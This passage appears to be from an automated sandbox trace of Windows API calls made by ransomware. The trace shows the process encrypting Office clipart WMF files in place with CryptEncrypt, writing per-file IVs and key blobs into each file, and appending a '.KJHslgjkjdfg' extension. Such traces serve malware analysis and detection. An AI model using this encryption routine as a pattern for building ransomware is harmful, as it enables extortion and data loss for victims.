[0154.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.854] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2660, lpOverlapped=0x0) returned 1 [0154.854] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.854] SetEndOfFile (hFile=0x114) returned 1 [0154.857] GetProcessHeap () returned 0x2a0000 [0154.857] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.857] GetProcessHeap () returned 0x2a0000 [0154.857] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.kjhslgjkjdfg")) returned 1 [0154.859] CloseHandle (hObject=0x114) returned 1 [0154.859] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0154.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.860] GetProcessHeap () returned 0x2a0000 [0154.860] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.860] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.860] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0154.862] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.862] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.862] GetProcessHeap () returned 0x2a0000 [0154.862] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.863] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.863] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.863] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.863] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.863] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.863] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.863] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.863] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.863] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.863] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1eb6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1eb6, lpOverlapped=0x0) returned 1 [0154.864] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ec0, dwBufLen=0x1ec0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ec0) returned 1 [0154.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.864] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ec0, lpOverlapped=0x0) returned 1 [0154.865] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.865] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.865] SetEndOfFile (hFile=0x114) returned 1 [0154.867] GetProcessHeap () returned 0x2a0000 [0154.867] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.867] GetProcessHeap () returned 0x2a0000 [0154.867] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.kjhslgjkjdfg")) returned 1 [0154.869] CloseHandle (hObject=0x114) returned 1 [0154.869] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0154.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.870] GetProcessHeap () returned 0x2a0000 [0154.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.870] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.870] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.878] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.878] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.878] GetProcessHeap () returned 0x2a0000 [0154.878] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.878] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.878] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.878] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.879] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.879] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.879] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.879] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.879] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.879] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.879] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3f4, lpOverlapped=0x0) returned 1 [0154.879] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x400, dwBufLen=0x400 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x400) returned 1 [0154.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.879] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x400, lpOverlapped=0x0) returned 1 [0154.880] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.880] SetEndOfFile (hFile=0x114) returned 1 [0154.882] GetProcessHeap () returned 0x2a0000 [0154.882] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.882] GetProcessHeap () returned 0x2a0000 [0154.882] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.kjhslgjkjdfg")) returned 1 [0154.884] CloseHandle (hObject=0x114) returned 1 [0154.884] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0154.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.885] GetProcessHeap () returned 0x2a0000 [0154.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.886] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.886] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.886] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.886] GetProcessHeap () returned 0x2a0000 [0154.886] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.886] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.886] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.886] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.888] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.888] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.888] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.888] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.888] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.889] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.889] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.889] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x370, lpOverlapped=0x0) returned 1 [0154.889] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x370, dwBufLen=0x370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x370) returned 1 [0154.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.889] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x370, lpOverlapped=0x0) returned 1 [0154.889] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.889] SetEndOfFile (hFile=0x114) returned 1 [0154.892] GetProcessHeap () returned 0x2a0000 [0154.892] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.892] GetProcessHeap () returned 0x2a0000 [0154.892] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.kjhslgjkjdfg")) returned 1 [0154.893] CloseHandle (hObject=0x114) returned 1 [0154.893] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0154.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.894] GetProcessHeap () returned 0x2a0000 [0154.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.894] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0154.897] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.897] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.897] GetProcessHeap () returned 0x2a0000 [0154.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.897] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.897] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.897] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.897] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.897] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.897] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.897] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.897] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.898] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.898] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.898] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.898] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x27a2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x27a2, lpOverlapped=0x0) returned 1 [0154.899] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27b0) returned 1 [0154.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.899] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x27b0, lpOverlapped=0x0) returned 1 [0154.899] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.899] SetEndOfFile (hFile=0x114) returned 1 [0154.902] GetProcessHeap () returned 0x2a0000 [0154.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.902] GetProcessHeap () returned 0x2a0000 [0154.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.kjhslgjkjdfg")) returned 1 [0154.903] CloseHandle (hObject=0x114) returned 1 [0154.903] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, 